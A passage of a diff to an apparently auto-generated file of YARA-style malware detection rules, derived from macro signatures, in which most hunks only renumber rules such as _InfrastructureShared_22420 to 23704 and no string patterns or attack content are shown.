1)*21539) >=1 } -rule _InfrastructureShared_22420{ +rule _InfrastructureShared_23704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293565,7 +310035,7 @@ rule _InfrastructureShared_22420{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_22421{ +rule _InfrastructureShared_23705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293576,7 +310046,7 @@ rule _InfrastructureShared_22421{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_22422{ +rule _InfrastructureShared_23706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -293587,7 +310057,7 @@ rule _InfrastructureShared_22422{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_22423{ +rule _InfrastructureShared_23707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293597,7 +310067,7 @@ rule _InfrastructureShared_22423{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22424{ +rule _InfrastructureShared_23708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293607,7 +310077,7 @@ rule _InfrastructureShared_22424{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22425{ +rule _InfrastructureShared_23709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293617,7 +310087,7 @@ rule _InfrastructureShared_22425{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22426{ +rule _InfrastructureShared_23710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293627,7 +310097,7 @@ rule _InfrastructureShared_22426{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22427{ +rule _InfrastructureShared_23711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293637,7 +310107,7 @@ rule _InfrastructureShared_22427{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22428{ +rule _InfrastructureShared_23712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293647,7 +310117,7 @@ rule _InfrastructureShared_22428{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22429{ +rule _InfrastructureShared_23713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293658,7 +310128,7 @@ rule _InfrastructureShared_22429{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*18509) >=1 } -rule _InfrastructureShared_22430{ +rule _InfrastructureShared_23714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -293669,7 +310139,7 @@ rule _InfrastructureShared_22430{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*30789) >=2 } -rule _InfrastructureShared_22431{ +rule _InfrastructureShared_23715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 02 00 21 " @@ -293680,7 +310150,7 @@ rule _InfrastructureShared_22431{ ((#a_63_0 & 1)*17699+(#a_90_1 & 1)*21844) >=4 } -rule _InfrastructureShared_22432{ +rule _InfrastructureShared_23716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 01 00 21 " @@ -293690,7 +310160,7 @@ rule _InfrastructureShared_22432{ ((#a_53_0 & 1)*19747) >=5 } -rule _InfrastructureShared_22433{ +rule _InfrastructureShared_23717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 04 00 21 " @@ -293703,7 +310173,7 @@ rule _InfrastructureShared_22433{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*18509+(#a_72_2 & 1)*29797+(#a_61_3 & 1)*28781) >=6 } -rule _InfrastructureShared_22434{ +rule _InfrastructureShared_23718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293713,7 +310183,7 @@ rule _InfrastructureShared_22434{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22435{ +rule _InfrastructureShared_23719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293723,7 +310193,7 @@ rule _InfrastructureShared_22435{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22436{ +rule _InfrastructureShared_23720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293733,7 +310203,7 @@ rule _InfrastructureShared_22436{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22437{ +rule _InfrastructureShared_23721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293743,7 +310213,7 @@ rule _InfrastructureShared_22437{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22438{ +rule _InfrastructureShared_23722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293753,7 +310223,7 @@ rule _InfrastructureShared_22438{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22439{ +rule _InfrastructureShared_23723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293763,7 +310233,7 @@ rule _InfrastructureShared_22439{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22440{ +rule _InfrastructureShared_23724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293774,7 +310244,7 @@ rule _InfrastructureShared_22440{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26988) >=1 } -rule _InfrastructureShared_22441{ +rule _InfrastructureShared_23725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293785,7 +310255,7 @@ rule _InfrastructureShared_22441{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*19747) >=1 } -rule _InfrastructureShared_22442{ +rule _InfrastructureShared_23726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -293797,7 +310267,7 @@ rule _InfrastructureShared_22442{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*18467+(#a_51_2 & 1)*25455) >=1 } -rule _InfrastructureShared_22443{ +rule _InfrastructureShared_23727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -293808,7 +310278,7 @@ rule _InfrastructureShared_22443{ ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*25455) >=3 } -rule _InfrastructureShared_22444{ +rule _InfrastructureShared_23728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -293820,7 +310290,7 @@ rule _InfrastructureShared_22444{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*19747+(#a_48_2 & 1)*8993) >=3 } -rule _InfrastructureShared_22445{ +rule _InfrastructureShared_23729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293830,7 +310300,7 @@ rule _InfrastructureShared_22445{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22446{ +rule _InfrastructureShared_23730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293840,7 +310310,7 @@ rule _InfrastructureShared_22446{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22447{ +rule _InfrastructureShared_23731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293850,7 +310320,7 @@ rule _InfrastructureShared_22447{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22448{ +rule _InfrastructureShared_23732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293860,7 +310330,7 @@ rule _InfrastructureShared_22448{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22449{ +rule _InfrastructureShared_23733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293870,7 +310340,7 @@ rule _InfrastructureShared_22449{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22450{ +rule _InfrastructureShared_23734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293880,7 +310350,7 @@ rule _InfrastructureShared_22450{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22451{ +rule _InfrastructureShared_23735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293890,7 +310360,7 @@ rule _InfrastructureShared_22451{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22452{ +rule _InfrastructureShared_23736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293900,7 +310370,7 @@ rule _InfrastructureShared_22452{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22453{ +rule _InfrastructureShared_23737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293911,7 +310381,7 @@ rule _InfrastructureShared_22453{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*8993) >=1 } -rule _InfrastructureShared_22454{ +rule _InfrastructureShared_23738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293922,7 +310392,7 @@ rule _InfrastructureShared_22454{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*8993) >=1 } -rule _InfrastructureShared_22455{ +rule _InfrastructureShared_23739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -293933,7 +310403,7 @@ rule _InfrastructureShared_22455{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*8993) >=1 } -rule _InfrastructureShared_22456{ +rule _InfrastructureShared_23740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -293945,7 +310415,7 @@ rule _InfrastructureShared_22456{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*8993+(#a_3a_2 & 1)*21587) >=1 } -rule _InfrastructureShared_22457{ +rule _InfrastructureShared_23741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -293956,7 +310426,7 @@ rule _InfrastructureShared_22457{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*8993) >=2 } -rule _InfrastructureShared_22458{ +rule _InfrastructureShared_23742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -293968,7 +310438,7 @@ rule _InfrastructureShared_22458{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*8993+(#a_52_2 & 1)*21320) >=3 } -rule _InfrastructureShared_22459{ +rule _InfrastructureShared_23743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293978,7 +310448,7 @@ rule _InfrastructureShared_22459{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22460{ +rule _InfrastructureShared_23744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293988,7 +310458,7 @@ rule _InfrastructureShared_22460{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22461{ +rule _InfrastructureShared_23745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -293998,7 +310468,7 @@ rule _InfrastructureShared_22461{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22462{ +rule _InfrastructureShared_23746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294008,7 +310478,7 @@ rule _InfrastructureShared_22462{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22463{ +rule _InfrastructureShared_23747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294018,7 +310488,7 @@ rule _InfrastructureShared_22463{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22464{ +rule _InfrastructureShared_23748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294028,7 +310498,7 @@ rule _InfrastructureShared_22464{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22465{ +rule _InfrastructureShared_23749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294038,7 +310508,7 @@ rule _InfrastructureShared_22465{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22466{ +rule _InfrastructureShared_23750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294048,7 +310518,7 @@ rule _InfrastructureShared_22466{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22467{ +rule _InfrastructureShared_23751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294059,7 +310529,7 @@ rule _InfrastructureShared_22467{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*8448) >=1 } -rule _InfrastructureShared_22468{ +rule _InfrastructureShared_23752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -294071,7 +310541,7 @@ rule _InfrastructureShared_22468{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*8448+(#a_00_2 & 1)*26217) >=1 } -rule _InfrastructureShared_22469{ +rule _InfrastructureShared_23753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294083,7 +310553,7 @@ rule _InfrastructureShared_22469{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*8448+(#a_76_2 & 1)*26469) >=3 } -rule _InfrastructureShared_22470{ +rule _InfrastructureShared_23754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294093,7 +310563,7 @@ rule _InfrastructureShared_22470{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22471{ +rule _InfrastructureShared_23755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294103,7 +310573,7 @@ rule _InfrastructureShared_22471{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22472{ +rule _InfrastructureShared_23756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294113,7 +310583,7 @@ rule _InfrastructureShared_22472{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22473{ +rule _InfrastructureShared_23757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294123,7 +310593,7 @@ rule _InfrastructureShared_22473{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22474{ +rule _InfrastructureShared_23758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294134,7 +310604,7 @@ rule _InfrastructureShared_22474{ ((#a_53_0 & 1)*19747+(#a_23_1 & 1)*2) >=1 } -rule _InfrastructureShared_22475{ +rule _InfrastructureShared_23759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294145,7 +310615,7 @@ rule _InfrastructureShared_22475{ ((#a_53_0 & 1)*19747+(#a_23_1 & 1)*1) >=2 } -rule _InfrastructureShared_22476{ +rule _InfrastructureShared_23760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294155,7 +310625,7 @@ rule _InfrastructureShared_22476{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22477{ +rule _InfrastructureShared_23761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294165,7 +310635,7 @@ rule _InfrastructureShared_22477{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22478{ +rule _InfrastructureShared_23762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -294176,7 +310646,7 @@ rule _InfrastructureShared_22478{ ((#a_53_0 & 1)*19747+(#a_54_2 & 1)*18509) >=1 } -rule _InfrastructureShared_22479{ +rule _InfrastructureShared_23763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -294189,7 +310659,7 @@ rule _InfrastructureShared_22479{ ((#a_53_0 & 1)*19747+(#a_54_2 & 1)*18509+(#a_6f_3 & 1)*27489+(#a_00_4 & 1)*21581) >=1 } -rule _InfrastructureShared_22480{ +rule _InfrastructureShared_23764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294200,7 +310670,7 @@ rule _InfrastructureShared_22480{ ((#a_53_0 & 1)*19747+(#a_54_2 & 1)*18509) >=3 } -rule _InfrastructureShared_22481{ +rule _InfrastructureShared_23765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294211,7 +310681,7 @@ rule _InfrastructureShared_22481{ ((#a_53_0 & 1)*19747+(#a_54_2 & 1)*18509) >=3 } -rule _InfrastructureShared_22482{ +rule _InfrastructureShared_23766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294222,7 +310692,7 @@ rule _InfrastructureShared_22482{ ((#a_53_0 & 1)*19747+(#a_6f_2 & 1)*27713) >=3 } -rule _InfrastructureShared_22483{ +rule _InfrastructureShared_23767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294232,7 +310702,7 @@ rule _InfrastructureShared_22483{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22484{ +rule _InfrastructureShared_23768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294242,7 +310712,7 @@ rule _InfrastructureShared_22484{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22485{ +rule _InfrastructureShared_23769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294252,7 +310722,7 @@ rule _InfrastructureShared_22485{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22486{ +rule _InfrastructureShared_23770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294262,7 +310732,7 @@ rule _InfrastructureShared_22486{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22487{ +rule _InfrastructureShared_23771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294272,7 +310742,7 @@ rule _InfrastructureShared_22487{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22488{ +rule _InfrastructureShared_23772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -294285,7 +310755,7 @@ rule _InfrastructureShared_22488{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*2+(#a_54_2 & 1)*18509+(#a_44_3 & 1)*28229) >=1 } -rule _InfrastructureShared_22489{ +rule _InfrastructureShared_23773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294296,7 +310766,7 @@ rule _InfrastructureShared_22489{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*3) >=2 } -rule _InfrastructureShared_22490{ +rule _InfrastructureShared_23774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294308,7 +310778,7 @@ rule _InfrastructureShared_22490{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*6+(#a_66_2 & 1)*29299) >=3 } -rule _InfrastructureShared_22491{ +rule _InfrastructureShared_23775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 03 00 21 " @@ -294320,7 +310790,7 @@ rule _InfrastructureShared_22491{ ((#a_72_0 & 1)*16675+(#a_41_1 & 1)*25968+(#a_53_2 & 1)*19747) >=6 } -rule _InfrastructureShared_22492{ +rule _InfrastructureShared_23776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294330,7 +310800,7 @@ rule _InfrastructureShared_22492{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22493{ +rule _InfrastructureShared_23777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294340,7 +310810,7 @@ rule _InfrastructureShared_22493{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22494{ +rule _InfrastructureShared_23778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294350,7 +310820,7 @@ rule _InfrastructureShared_22494{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22495{ +rule _InfrastructureShared_23779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294360,7 +310830,7 @@ rule _InfrastructureShared_22495{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22496{ +rule _InfrastructureShared_23780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294370,7 +310840,7 @@ rule _InfrastructureShared_22496{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22497{ +rule _InfrastructureShared_23781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294380,7 +310850,7 @@ rule _InfrastructureShared_22497{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22498{ +rule _InfrastructureShared_23782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294390,7 +310860,7 @@ rule _InfrastructureShared_22498{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22499{ +rule _InfrastructureShared_23783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294400,7 +310870,7 @@ rule _InfrastructureShared_22499{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22500{ +rule _InfrastructureShared_23784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -294412,7 +310882,7 @@ rule _InfrastructureShared_22500{ ((#a_53_0 & 1)*19747+(#a_4d_2 & 1)*8448+(#a_54_3 & 1)*7680) >=1 } -rule _InfrastructureShared_22501{ +rule _InfrastructureShared_23785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294422,7 +310892,7 @@ rule _InfrastructureShared_22501{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22502{ +rule _InfrastructureShared_23786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294433,7 +310903,7 @@ rule _InfrastructureShared_22502{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_22503{ +rule _InfrastructureShared_23787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294444,7 +310914,7 @@ rule _InfrastructureShared_22503{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_22504{ +rule _InfrastructureShared_23788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -294455,7 +310925,7 @@ rule _InfrastructureShared_22504{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*2) >=1 } -rule _InfrastructureShared_22505{ +rule _InfrastructureShared_23789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294466,7 +310936,7 @@ rule _InfrastructureShared_22505{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_22506{ +rule _InfrastructureShared_23790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -294477,7 +310947,7 @@ rule _InfrastructureShared_22506{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_22507{ +rule _InfrastructureShared_23791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -294490,7 +310960,7 @@ rule _InfrastructureShared_22507{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*3+(#a_53_2 & 1)*19747+(#a_00_3 & 1)*4) >=2 } -rule _InfrastructureShared_22508{ +rule _InfrastructureShared_23792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -294502,7 +310972,7 @@ rule _InfrastructureShared_22508{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*4+(#a_54_2 & 1)*18509) >=3 } -rule _InfrastructureShared_22509{ +rule _InfrastructureShared_23793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -294515,7 +310985,7 @@ rule _InfrastructureShared_22509{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*4+(#a_54_2 & 1)*18509+(#a_6e_3 & 1)*14930) >=4 } -rule _InfrastructureShared_22510{ +rule _InfrastructureShared_23794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -294528,7 +310998,7 @@ rule _InfrastructureShared_22510{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1+(#a_4d_2 & 1)*8448+(#a_61_3 & 1)*29790) >=4 } -rule _InfrastructureShared_22511{ +rule _InfrastructureShared_23795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294538,7 +311008,7 @@ rule _InfrastructureShared_22511{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22512{ +rule _InfrastructureShared_23796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294548,7 +311018,7 @@ rule _InfrastructureShared_22512{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22513{ +rule _InfrastructureShared_23797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294558,7 +311028,7 @@ rule _InfrastructureShared_22513{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22514{ +rule _InfrastructureShared_23798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -294568,7 +311038,7 @@ rule _InfrastructureShared_22514{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22515{ +rule _InfrastructureShared_23799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ 